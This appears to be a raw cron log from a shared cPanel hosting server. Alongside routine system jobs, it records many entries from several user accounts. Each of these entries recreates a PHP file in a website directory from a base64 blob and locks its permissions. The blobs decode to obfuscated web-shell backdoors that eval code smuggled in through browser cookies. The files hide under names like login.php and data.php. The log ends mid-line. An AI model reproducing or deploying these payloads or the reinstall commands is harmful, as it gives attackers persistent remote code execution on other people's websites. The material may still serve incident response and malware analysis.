Apr 19 05:26:02 medusa CROND[10880]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:26:02 medusa CROND[10882]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:26:02 medusa CROND[10889]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:26:02 medusa CROND[10893]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:27:01 medusa CROND[2388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:27:01 medusa CROND[2389]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:27:01 medusa CROND[2390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:27:01 medusa CROND[2391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:27:01 medusa CROND[2392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:27:01 medusa CROND[2393]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:27:01 medusa CROND[2394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:27:01 medusa CROND[2395]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:27:01 medusa CROND[2396]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:27:01 medusa CROND[2397]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:27:01 medusa CROND[2421]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:27:01 medusa CROND[2430]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:28:01 medusa CROND[8528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:28:01 medusa CROND[8530]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:28:01 medusa CROND[8533]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:28:01 medusa CROND[8534]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:28:01 medusa CROND[8535]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:28:01 medusa CROND[8531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:28:01 medusa CROND[8540]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:28:01 medusa CROND[8541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:28:01 medusa CROND[8537]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:28:01 medusa CROND[8542]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:28:01 medusa CROND[8545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:28:01 medusa CROND[8546]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hv